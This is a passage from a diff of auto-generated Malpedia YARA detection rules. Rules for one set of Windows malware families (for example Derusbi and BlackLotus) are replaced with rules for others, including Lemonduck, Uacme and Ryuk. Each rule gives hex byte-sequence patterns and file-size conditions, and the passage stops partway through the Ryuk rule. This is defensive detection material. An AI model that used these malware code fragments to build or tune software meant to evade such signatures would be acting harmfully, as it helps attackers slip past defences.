$sequence_7 = { 7532 488d0d239d0000 e8???????? ff15???????? 89442460 488d150c000000 } - $sequence_8 = { 8364242800 41b803000000 488d0d6c320000 4533c9 ba00000040 4489442420 } - $sequence_9 = { 418bcc e8???????? 8bd8 89442440 85c0 } + $sequence_0 = { ff15???????? 83c414 0f2805???????? 833d????????0a 0f11442468 66c74424781b3e c644247a00 } + $sequence_1 = { 8b15???????? 8b3d???????? 8d42ff 0fafc2 83e001 83ff0a 7c15 } + $sequence_2 = { c684243801000000 7c0f 8d48ff 0fafc8 83e101 0f85a0260000 8d8c2430010000 } + $sequence_3 = { 7c0b 8d41ff 0fafc1 83e001 752a 6a5c 55 } + $sequence_4 = { c74424080c043500 7c14 a1???????? 8d48ff 0fafc8 83e101 0f85b10b0000 } + $sequence_5 = { 6a5c 8d842454040000 50 e8???????? 83c408 833d????????0a 89c7 } + $sequence_6 = { c78424e0000000b9ffceff 7c15 8b0d???????? 8d51ff 0fafd1 83e201 0f85ab0a0000 } + $sequence_7 = { ebfe 833d????????0a 66c784249a0000000000 7c12 a1???????? 8d48ff 0fafc8 } + $sequence_8 = { 7c0d 8d50ff 0fafd0 83e201 7402 ebfe e8???????? } + $sequence_9 = { 75f4 c6410d00 e8???????? 53 ff75e4 ffd0 833d????????0a } condition: - 7 of them and filesize < 174080 + 7 of them and filesize < 1067008 } -rule MALPEDIA_Win_Wininetloader_Auto : FILE +rule MALPEDIA_Win_Zxxz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "362a277f-08db-55d6-afc8-115b8717311e" + id = "6bed2c22-407f-5c6f-838c-89149563448f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wininetloader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zxxz_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "8b4c276c165b1cb748209b41360afa408d3bb0ddb28615bc03dcc23e6420b5ed" + logic_hash = "9578e76393d5b7664234570897b9446d75c18108dd9f2d16b199e15d869c1364" score = 75 quality = 75 tags = "FILE" @@ -89219,34 +89218,39 @@ rule MALPEDIA_Win_Wininetloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66490f7ed9 4c8d050cb70500 ba28000000 488d4ddf e8???????? 4863d8 498b4540 } - $sequence_1 = { c3 488b0d???????? ba51230000 ff15???????? 488b0d???????? ba53230000 4889442430 } - $sequence_2 = { 5b c3 803d????????00 0f8459ffffff 498bd1 488bcb 4883c430 } - $sequence_3 = { 458d4118 488bce ff15???????? 8b442430 4038bc24e0000000 0f45442434 4c63c0 } - $sequence_4 = { 48891d???????? 48c705????????0f000000 881d???????? 448d431b 488d15d9be0f00 488d0d522e1200 e8???????? } - $sequence_5 = { eb02 b301 4883fa10 722d 48ffc2 488bc1 4881fa00100000 } - $sequence_6 = { c6430600 eb21 48c744242006000000 4c8d0dc3d10b00 4533c0 418d5006 488d4c2430 } - $sequence_7 = { 803a5c 752a 4c8d4201 4c3bc0 7421 f6c108 750a } - $sequence_8 = { e9???????? 488d8aa8000000 4883c108 e9???????? 488d8aa8000000 e9???????? 4055 } - $sequence_9 = { 5e 5d c3 ba5e230000 488b4e18 ff15???????? 488bc8 } + $sequence_0 = { ffd3 e8???????? 6830750000 ffd3 6a01 6a00 } + $sequence_1 = { 68fa000000 50 ffd5 83c40c 68???????? 8d4c2414 } + $sequence_2 = { c605????????01 6830750000 ffd3 68???????? } + $sequence_3 = { c20400 8bfe 83cf0f 81ffffffff7f 7627 } + $sequence_4 = { 8d4c2430 c744241401000000 c644242400 ff15???????? 8bc5 8b4c241c } + $sequence_5 = { 83c404 e8???????? 803d????????00 7435 33c0 68fe1f0000 } + $sequence_6 = { ff7508 8945f4 6a00 68e9fd0000 ffd0 } + $sequence_7 = { 51 ff55ec 83c404 8bc6 8bcf 8901 } + $sequence_8 = { 6a01 6a01 68???????? ffd7 a1???????? 2bc3 } + $sequence_9 = { 8b01 ff5004 c745fcffffffff 8b9558feffff 83c2f0 } + $sequence_10 = { eb23 03c8 c744241c01000000 83fa02 770c 8079fe3d 7506 } + $sequence_11 = { 33c0 68f8000000 8bd9 50 } + $sequence_12 = { c705????????1cb94000 7410 a1???????? 85c0 7407 50 } + $sequence_13 = { 85c0 0f84ef000000 eb06 8bc7 8930 } + $sequence_14 = { 8bc6 8931 6a00 6a00 53 } condition: - 7 of them and filesize < 2659328 + 7 of them and filesize < 4142080 } -rule MALPEDIA_Win_Tinyloader_Auto : FILE +rule MALPEDIA_Win_Uacme_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c6fcb6a-6aaa-5e44-ad0b-2dda057bc513" + id = "53c60ae4-37ff-5d21-9239-76220be2dce4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyloader_auto.yar#L1-L224" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.uacme_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a1e9a6fc8f29154daa76951045f8f779a6cee8d3fa483fe0d801eb90e6460914" + logic_hash = "3f55ec845579c619785e67b0034681c5b25544222a3c6be5c29fd4298627878a" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -89258,44 +89262,32 @@ rule MALPEDIA_Win_Tinyloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7d2 f7d1 5b 89d0 c1c010 6689c8 90 } - $sequence_1 = { 8b1d???????? 90 8998f8070000 90 } - $sequence_2 = { 83ec20 48 8d0db7130000 48 } - $sequence_3 = { 90 29d8 90 31db } - $sequence_4 = { 895838 90 48 89c6 90 48 0500400100 } - $sequence_5 = { 8b5d00 66894308 6a10 ffb5a8050000 } - $sequence_6 = { 637574 6541 0050ff 15???????? c705????????00010000 68???????? 68???????? } - $sequence_7 = { 81fb04030000 730d 90 83c004 90 83c304 } - $sequence_8 = { 90 0500400100 90 31db 90 90 } - $sequence_9 = { 0500080000 894520 ffb5a0050000 6802020000 ff15???????? } - $sequence_10 = { 8998f8070000 90 48 8b1d???????? 90 } - $sequence_11 = { 48 8d0dedffffff ff15???????? 48 83c420 } - $sequence_12 = { c70000000000 c7855808000000000000 8b5d00 039d58080000 6a00 } - $sequence_13 = { 83ec20 48 c7c100000000 48 8d15e6110000 } - $sequence_14 = { 90 8bbb97114000 90 8938 90 } - $sequence_15 = { 8b8540050000 8b5d00 894308 8b85f8070000 8b5d00 894304 } - $sequence_16 = { 3b8558080000 7402 ebb3 31c0 31db 31c9 31d2 } - $sequence_17 = { 8b1d???????? 90 895830 90 8b1d???????? 90 895838 } - $sequence_18 = { 8b85f8070000 8b5d00 894304 8b5d00 81c300040000 31c0 } - $sequence_19 = { 8b4500 83c00c ffd0 31db 8b4500 8b8000040000 } - $sequence_20 = { 8d0dea0e0000 ff15???????? 48 83c420 48 8d35d90e0000 48 } - $sequence_21 = { 01da 83c20c 310a 3b8558080000 7308 83c004 } + $sequence_0 = { 8d45e8 50 ff15???????? 2175f8 8d45f8 50 8d45f0 } + $sequence_1 = { 8d85ecfbffff 50 8d85ccf3ffff 50 } + $sequence_2 = { 50 8d45b4 50 68???????? ff15???????? 8bf0 } + $sequence_3 = { 8bcf c60000 40 83e901 75f7 8b1d???????? 394d10 } + $sequence_4 = { ff75f4 53 ff15???????? ff75fc 53 ff15???????? 6807700000 } + $sequence_5 = { 83ee01 75f7 68???????? 8d85c8fdffff 50 } + $sequence_6 = { 5d c3 ff7508 8bd3 8d8de0f7ffff e8???????? 59 } + $sequence_7 = { 8975dc 8975cc 85f6 7421 8b55e0 } + $sequence_8 = { 8906 5e 8b45fc 8be5 5d c3 55 } + $sequence_9 = { 3db7000000 0f8593010000 ba???????? 8d8ddcfbffff e8???????? 6a00 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 565248 } -rule MALPEDIA_Win_Seasalt_Auto : FILE +rule MALPEDIA_Win_Xpan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53347621-44c1-525f-89d0-f50b729b9b9d" + id = "9c9e2899-7c42-5d4a-8e72-8695f33e2151" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.seasalt_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpan_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "efb41d41f20a6c99bb3444a374f65b02c8e63a28ca4361b924bf5bfe71fe1970" + logic_hash = "02ec4378c7469aa379433aa31077402814d90eca993bb596a3f9dbc0c47c27e0" score = 75 quality = 75 tags = "FILE" @@ -89309,32 +89301,32 @@ rule MALPEDIA_Win_Seasalt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d842474010000 6804020000 50 51 ffd5 } - $sequence_1 = { f7d1 2bf9 8d9578fcffff 8bc1 8bf7 8bfa 8d9578fdffff } - $sequence_2 = { eb26 8d4508 8db67ccb0010 6a00 50 ff36 } - $sequence_3 = { 33c0 53 57 8a1c10 } - $sequence_4 = { 81ec90010000 8d442400 50 6801010000 ff15???????? f7d8 1bc0 } - $sequence_5 = { 6a00 8d55e8 6a08 52 50 ffd3 8d4de0 } - $sequence_6 = { 8d8c247c010000 6880000000 51 ff15???????? b981000000 } - $sequence_7 = { 83f964 7d08 8a4301 43 3c2f 75eb } - $sequence_8 = { a1???????? 53 53 68???????? 8d942484000000 6800020000 } - $sequence_9 = { 51 ff15???????? 8d542412 52 } + $sequence_0 = { 8b16 899310010000 8b542414 e8???????? 89b310010000 e9???????? 8b6904 } + $sequence_1 = { 8b4d10 85c9 0f84cdfdffff 66837d14ff bb01000000 0f84d7000000 8b4d08 } + $sequence_2 = { 0fb64c2454 8b442440 896c2408 88542418 890424 894c2404 } + $sequence_3 = { 8b4508 c685f0feffff00 890424 e8???????? 8d8d60ffffff 8985d4feffff e8???????? } + $sequence_4 = { b904000000 89f5 e9???????? 8b8c24b0000000 8b5004 8b00 } + $sequence_5 = { 89eb 0f841dffffff f744245400040000 7483 0fb6442454 89742408 892c24 } + $sequence_6 = { 8b4bf4 85c9 7438 807dc600 8d45e4 8945c8 } + $sequence_7 = { 89d3 75ed 8b4728 83f8ff 7475 39f0 0f4df0 } + $sequence_8 = { 7412 85ff 0f846e010000 85c0 ba???????? 0f44c2 85f6 } + $sequence_9 = { 85d2 89742418 8b6c2444 8b74241c 0f8571feffff c647ff00 b801000000 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 3235840 } -rule MALPEDIA_Win_Derusbi_Auto : FILE +rule MALPEDIA_Win_Fishmaster_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c6e0e6e7-cbdf-5891-a775-1ae225a23d68" + id = "85781cdb-ef0a-5ba4-9f1c-a71e1fb971a5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.derusbi_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fishmaster_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "36fd1aba73e044d12574f8ec4270d71e7197a2500df09c018d411307abbf5635" + logic_hash = "fa4353e268ca10ee73320d72c1e5a21f512b82d4c18bb38fa107cace5c168150" score = 75 quality = 75 tags = "FILE" @@ -89348,32 +89340,32 @@ rule MALPEDIA_Win_Derusbi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 75be 8b45c8 895db0 895dac 3bc3 0f84affeffff } - $sequence_1 = { 72e4 5e c3 55 8bec 51 53 } - $sequence_2 = { 6810040000 ff15???????? 8985f8fdffff 85c0 7464 } - $sequence_3 = { ff7508 ff15???????? 8bf0 59 85f6 740f ff7508 } - $sequence_4 = { 56 89442418 57 8d442424 50 8d44242c 50 } - $sequence_5 = { 83c108 3d00040000 72f1 e9???????? 215cc70c 8d5cc710 } - $sequence_6 = { 50 ff15???????? 83c40c 56 8d4c2470 51 889c2407010000 } - $sequence_7 = { 83c40c 8d45dc 50 ff15???????? 83f8ff 740d a810 } - $sequence_8 = { 53 50 ffd6 83c40c 8d442424 50 8d84242cbc0200 } - $sequence_9 = { 8d85b8f7ffff e8???????? 59 33c9 85c0 7e25 80b40db8fbffff99 } + $sequence_0 = { b9e8030000 ff15???????? 4c89742450 48c74424580f000000 } + $sequence_1 = { 8d45fd 4863c8 460fbe0401 418d40bf 3c19 7706 } + $sequence_2 = { 7203 4c8b03 8d45ff 4863c8 } + $sequence_3 = { 488d0d25310000 0f57c0 488d5308 48890b 488d4808 0f1102 ff15???????? } + $sequence_4 = { 488bcb 41ffd5 90 488b5558 4883fa10 7234 } + $sequence_5 = { ba05000020 488bcb ff15???????? 488bcb ff15???????? c744243000010000 } + $sequence_6 = { 488d054d2a0000 c3 8325????????00 c3 48895c2408 55 } + $sequence_7 = { 4983f910 7203 4c8b03 8d45ff 4863c8 460fbe0401 418d40bf } + $sequence_8 = { 83f828 7309 33c9 ff15???????? cc } + $sequence_9 = { 4883f801 721c 488d4101 48894310 4883fa10 488bc3 7203 } condition: - 7 of them and filesize < 360448 + 7 of them and filesize < 812032 } -rule MALPEDIA_Win_Blacklotus_Auto : FILE +rule MALPEDIA_Win_Pulsartea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6d41c095-e739-5655-a8fc-e5651a304950" + id = "492a2a3f-efe7-5dcc-8ea0-f274f56c1d7a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacklotus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blacklotus_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pulsartea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pulsartea_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "69ee2c520b98a8fc48e03d945b290dd8e5b47d8c94f1557274f7c175df20640a" + logic_hash = "e947490c744b727dc99593cdd46b11ea245b6efcca5c96db4f4a6ac92a6b6da4" score = 75 quality = 75 tags = "FILE" @@ -89387,32 +89379,32 @@ rule MALPEDIA_Win_Blacklotus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 884102 488d4904 4983e801 75dc 428d149dfcffffff 460fb60412 8d4201 } - $sequence_1 = { 7507 488b4b38 c601c3 488b1b 483bdf } - $sequence_2 = { 4883c104 e8???????? 488b4d30 0fb65103 0fb64102 48c1e208 } - $sequence_3 = { 44884301 88430b e8???????? 4c8bc6 488bd3 408acf } - $sequence_4 = { 2bcf ffc7 4103c9 6633544d08 8d41ff 6689544508 } - $sequence_5 = { 408a7c3c30 428d149de0ffffff 46320412 8d4201 } - $sequence_6 = { 4883ec30 418be8 488bfa 488bf1 488d15d41a0100 488b0d???????? } - $sequence_7 = { 7508 4d85c0 75ea 33c0 c3 1bc0 } - $sequence_8 = { ffc8 03c3 44888430d8070000 453bd1 72b9 8b15???????? ffca } - $sequence_9 = { 4c8d054e140100 488bd7 488bd8 e8???????? 488b05???????? } + $sequence_0 = { c745bc00000000 418bde 488b0f 488d55c0 e8???????? } + $sequence_1 = { 4889542420 488bcb e8???????? 4d8d870c020000 488d15a6500200 } + $sequence_2 = { 488d41f8 4883f81f 0f8789000000 498bc8 e8???????? 4c896e10 48c746180f000000 } + $sequence_3 = { 4c8d4d80 4533c0 8bd0 488d8d20060000 ff15???????? 440fb745a4 4533c9 } + $sequence_4 = { 418b048e 4133c1 8983a4000000 458842ff 4883ed01 } + $sequence_5 = { 488bc8 ff15???????? 85c0 0f84be000000 488b4c2440 488d442448 41b92c010000 } + $sequence_6 = { 48c74424480f000000 4088742430 498b442410 4883f810 0f823b0b0000 4883c0f0 41b804000000 } + $sequence_7 = { e8???????? 33db 8bf8 85c0 0f8454020000 4c8d25646e0100 448bf3 } + $sequence_8 = { 4c897f10 488bc7 48837f1810 7203 488b07 c60000 488b4f10 } + $sequence_9 = { c1e806 83e001 418986380c0000 83ff17 756d 0f57c0 448d4f4d } condition: - 7 of them and filesize < 181248 + 7 of them and filesize < 520192 } -rule MALPEDIA_Win_Xbtl_Auto : FILE +rule MALPEDIA_Win_Lemonduck_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5435db05-6232-5daa-a834-a076fea3e65f" + id = "0687728c-af20-5db0-825f-c09419c968e6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbtl_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lemonduck_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9ca9bf365c91027033dee3986f32faacddaba9038a823c9929d03b22f8c79417" + logic_hash = "98ef4bf0b78ddc5c7161294aca17f600a297dc9e3f0789809abaca00c16061d5" score = 75 quality = 75 tags = "FILE" @@ -89426,32 +89418,32 @@ rule MALPEDIA_Win_Xbtl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945f8 03c0 03c0 50 52 8945fc e8???????? } - $sequence_1 = { 8a08 40 84c9 75f9 2bc6 8dbc05f4fdffff 89bde0fcffff } - $sequence_2 = { ff15???????? 8b07 8b4820 51 68???????? 8d542428 6a40 } - $sequence_3 = { 8b55e0 8b470c 8b4490f8 8945e0 85c0 742f 0fbf4304 } - $sequence_4 = { 81e200ff0000 33ca 8bd7 c1ea18 } - $sequence_5 = { 40 8945fc 3b4608 0f8c78ffffff eb09 8b55fc 8b7508 } - $sequence_6 = { 897004 8b5108 8bf2 c1ce08 81e600ff00ff } - $sequence_7 = { 8b8d8cfdffff 8b9598fdffff 50 8b8588fdffff 50 8b8590fdffff 57 } - $sequence_8 = { 8b07 68a00f0000 8d4c2448 51 89742448 } - $sequence_9 = { 8b530c 0fbfc8 837c8afc00 74e5 8b4308 3daa55ff7f } + $sequence_0 = { ff15???????? 8bc8 89834c010000 e8???????? 4863c8 48898b88000000 4883c420 } + $sequence_1 = { eb0f 488bd3 488d0deb090a00 e8???????? 33c9 85c0 480f44cb } + $sequence_2 = { c1e808 0bc8 41c1e808 c1e218 4133ca 440bc2 41894f10 } + $sequence_3 = { ff15???????? 488bf8 4885c0 0f841f020000 33c0 f0480fb13d???????? 488bf0 } + $sequence_4 = { 7404 893b eb34 3bfe 7330 2bf7 488d14bd00000000 } + $sequence_5 = { e8???????? e9???????? 488b8e50010000 488d85e8000000 4c8d8dd0000000 4889442420 4c8d85e0000000 } + $sequence_6 = { e8???????? 85c0 7419 41b80a000000 488d15eab90500 488bcb e8???????? } + $sequence_7 = { e8???????? e9???????? 664183780e03 0f85e0010000 488d1d8bee1500 4c8d3dacee1500 0f1f4000 } + $sequence_8 = { 75f7 8945c8 33c0 488945d8 488945e0 66448965e6 488b45e0 } + $sequence_9 = { ff5018 f6d8 1bdb 83c302 b978000000 e8???????? 488bf8 } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 10011648 } -rule MALPEDIA_Win_Radamant_Auto : FILE +rule MALPEDIA_Win_Forest_Tiger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9054a5c-bb68-56d9-b004-7795b422035b" + id = "3353c633-78cc-57c2-86be-460e3ac718ff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radamant_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.forest_tiger_auto.yar#L1-L145" license_url = "N/A" - logic_hash = "c8bbb0af31c01f18c5c289ae1834ad1b53dc2920970c2b6e405a5699e0104750" + logic_hash = "fd0aad246be00ca230351bf440cc00646056cfe6bce27189395062caee48cc7c" score = 75 quality = 75 tags = "FILE" @@ -89465,34 +89457,39 @@ rule MALPEDIA_Win_Radamant_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b45f0 f7d0 2345f4 09d0 0345c4 0345ec } - $sequence_1 = { 7519 8b45c4 890424 e8???????? 8b45f4 8985f4fdffff e9???????? } - $sequence_2 = { 8b5510 83c20e 8b45ec c1e808 8802 8b5510 83c20f } - $sequence_3 = { 31c2 8b45e8 c1e808 0fb6c0 0fb680b0094100 } - $sequence_4 = { 8901 8b4df4 83c128 8b55f4 83c208 8b45f4 83c024 } - $sequence_5 = { 8d85a4fcffff ff00 8d85b8fdffff 890424 e8???????? 3985a4fcffff } - $sequence_6 = { c7042400000000 e8???????? 83ec0c 8d85b8fdffff 890424 e8???????? 8985a4fcffff } - $sequence_7 = { 8b45f4 8b00 c1e810 0fb6c0 8b0485e02f4100 8b1495e02b4100 31c2 } - $sequence_8 = { 09d0 0345a8 0345f4 2d885b9528 8945f4 8d45f4 c10007 } - $sequence_9 = { c1e818 0fb6c0 8b0485b01b4100 8b12 31c2 } + $sequence_0 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 e8???????? } + $sequence_1 = { 6bc930 8975e0 8db1c0084400 8975e4 } + $sequence_2 = { 4c8b4608 498bc0 488b4c2478 482bc1 } + $sequence_3 = { 6bc00c 56 ff90f0664300 59 } + $sequence_4 = { 4c8b4608 488b542478 4c2bc2 4983e0fc } + $sequence_5 = { 4c8b45c8 4c8b4dc0 f30f7f45d0 4c3955d0 } + $sequence_6 = { 6bc009 0fb68408c0724300 6a08 c1e804 } + $sequence_7 = { 4c8b4710 488bd7 488bcb 49ffc0 e8???????? eb0a } + $sequence_8 = { 4c8b45bf 488d1521350200 448bcb 488bc8 } + $sequence_9 = { 6aff ff15???????? 894604 85c0 7429 } + $sequence_10 = { 4c8b45ff 8b55db 488b4dcf e8???????? } + $sequence_11 = { 6aff 8d8df4fdffff 51 52 } + $sequence_12 = { 4c8b4750 488b33 448b7308 448b6f30 } + $sequence_13 = { 6aff 8d8dc8f4ffff 6880000000 51 } + $sequence_14 = { 6aff 8d942498010000 6880000000 52 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 709632 } -rule MALPEDIA_Win_Compfun_Auto : FILE +rule MALPEDIA_Win_Ryuk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c3d00d25-914d-52b8-aa23-a416041c458d" + id = "63f1751f-d521-53f6-9b97-173de48e208c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.compfun_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ryuk_auto.yar#L1-L403" license_url = "N/A" - logic_hash = "8284624d97f6e1919129028ed727636c96197862138001108f45d962bbade24e" + logic_hash = "4db40c45399c6db29cb64a2d888825a95bd14e7ba242fbbfeb5e1735cc3c9e5b" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -89504,38 +89501,67 @@ rule MALPEDIA_Win_Compfun_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 56 e8???????? 83c40c c7460c57202020 c70652656745 c746046e756d4b } - $sequence_1 = { c7460475705072 c746086976696c c7460c65676556 c74610616c7565 c6461500 8bc6 5e } - $sequence_2 = { c7460c62757465 c6461200 8bc6 5e 5d } - $sequence_3 = { 742d 53 8d85d8fdffff 50 a1???????? } - $sequence_4 = { c746144533442d c7461843343537 c7461c39323931 c7462036393245 c6462500 } - $sequence_5 = { e8???????? 59 50 57 ffd3 894650 85c0 } - $sequence_6 = { 83c40c c746086c655720 c70643726561 c7460474654669 } - $sequence_7 = { e8???????? 83c40c c706466c7573 c746046846696c c7460865427566 c7460c66657273 } - $sequence_8 = { 488b8424a0000000 ff5030 85c0 7508 } - $sequence_9 = { 837c2428ff 740a c744244401000000 eb08 } - $sequence_10 = { 488b842438010000 8908 488b842438010000 8b08 } - $sequence_11 = { ff15???????? 4c8bd8 488b442460 4c895848 } - $sequence_12 = { 8b9424a4000000 488b8c2498000000 488b442438 420fb60400 } - $sequence_13 = { 488b442420 48890424 488b0424 c70073766368 } - $sequence_14 = { 483904d1 750a 8b442438 89442420 } - $sequence_15 = { 488b442450 0fb600 3de9000000 740f } + $sequence_0 = { 68???????? 6a01 6a00 6814010000 } + $sequence_1 = { ff15???????? 85c0 7508 6a01 ff15???????? 68???????? 6a01 } + $sequence_2 = { 6a08 6a18 68???????? 68???????? 68???????? ff15???????? 85c0 } + $sequence_3 = { 81b8????????50450000 754c b90b010000 66398818000035 } + $sequence_4 = { b90b010000 66398818000035 753e 8b4508 } + $sequence_5 = { ff15???????? 85c0 7407 b801000000 eb0b eb04 } + $sequence_6 = { e8???????? 68e8030000 ff15???????? 68???????? e8???????? } + $sequence_7 = { b801000000 eb0b eb04 33c0 eb05 b801000000 } + $sequence_8 = { c1e100 817c0dd8ff000000 0f8696000000 ba04000000 6bc200 } + $sequence_9 = { 99 89459c 8955a0 8b55a0 3b55f8 0f870b020000 } + $sequence_10 = { eb09 8b45f0 83c001 8945f0 8b45f0 99 8b4d08 } + $sequence_11 = { 50 8b4de8 0fb6512c 52 e8???????? } + $sequence_12 = { c1e200 8b45fc c6041000 c745d800000000 c745dc00000000 c745e000000000 } + $sequence_13 = { ff15???????? b811000000 e9???????? e9???????? } + $sequence_14 = { 6a00 6814010000 ff7508 ff35???????? ff15???????? } + $sequence_15 = { ff15???????? 833d????????00 6a10 6a18 } + $sequence_16 = { 7407 48 85c0 7ff0 } + $sequence_17 = { ff15???????? b803000000 eb05 b805000000 } + $sequence_18 = { 751b ff35???????? ff35???????? 6a01 68???????? e8???????? } + $sequence_19 = { 2bf0 33c0 66890473 83ffff } + $sequence_20 = { 56 ff15???????? 8bcb 8d5102 } + $sequence_21 = { eb0b 8bc1 99 f7fe } + $sequence_22 = { 7212 81f9d0070000 770a 85d2 } + $sequence_23 = { 85d2 7714 7212 81f9d0070000 } + $sequence_24 = { e8???????? 488bc3 4883c430 5b c3 48895c2408 48896c2410 } + $sequence_25 = { f3a4 8d7afe 668b4702 8d7f02 } + $sequence_26 = { 68???????? 53 d1fe e8???????? 83c408 8d5002 } + $sequence_27 = { 4883c428 c3 48895c2408 57 4883ec30 8364242000 b908000000 } + $sequence_28 = { 0f9fc0 5d c3 8bff 55 8bec 8b4508 } + $sequence_29 = { d1fa 2bca 33c0 6689444bfe e9???????? } + $sequence_30 = { 488b7c2408 498bc1 c3 4053 4883ec20 8bc1 498bd8 } + $sequence_31 = { 6685c0 75f5 8d7bfe 2bd6 8d5f02 668b4702 } + $sequence_32 = { 2bd6 8d5f02 668b4702 83c702 6685c0 75f4 } + $sequence_33 = { 6685c9 75f5 2bf2 68???????? 53 d1fe } + $sequence_34 = { 7510 488bcb ff15???????? b802000000 } + $sequence_35 = { 4533c0 c744242003000000 ba00000040 ff15???????? 488bd8 ff15???????? } + $sequence_36 = { 8bc1 2bc2 d1e8 03c2 c1e806 6bc05a } + $sequence_37 = { 7516 66837f0254 750f 66837f0641 7508 } + $sequence_38 = { 488bf8 4885c0 7410 ff15???????? } + $sequence_39 = { 48897c2430 488d4c2440 c744242802000000 4533c9 4533c0 c744242003000000 ba00000040 } + $sequence_40 = { 8b5c3050 ff15???????? 41b900300000 c744242040000000 } + $sequence_41 = { e8???????? 488bcf ff15???????? 8d4301 e9???????? } + $sequence_42 = { ff15???????? 66833f4e 7516 66837f0254 } + $sequence_43 = { 41b900300000 c744242040000000 448bc3 488bd6 } + $sequence_44 = { 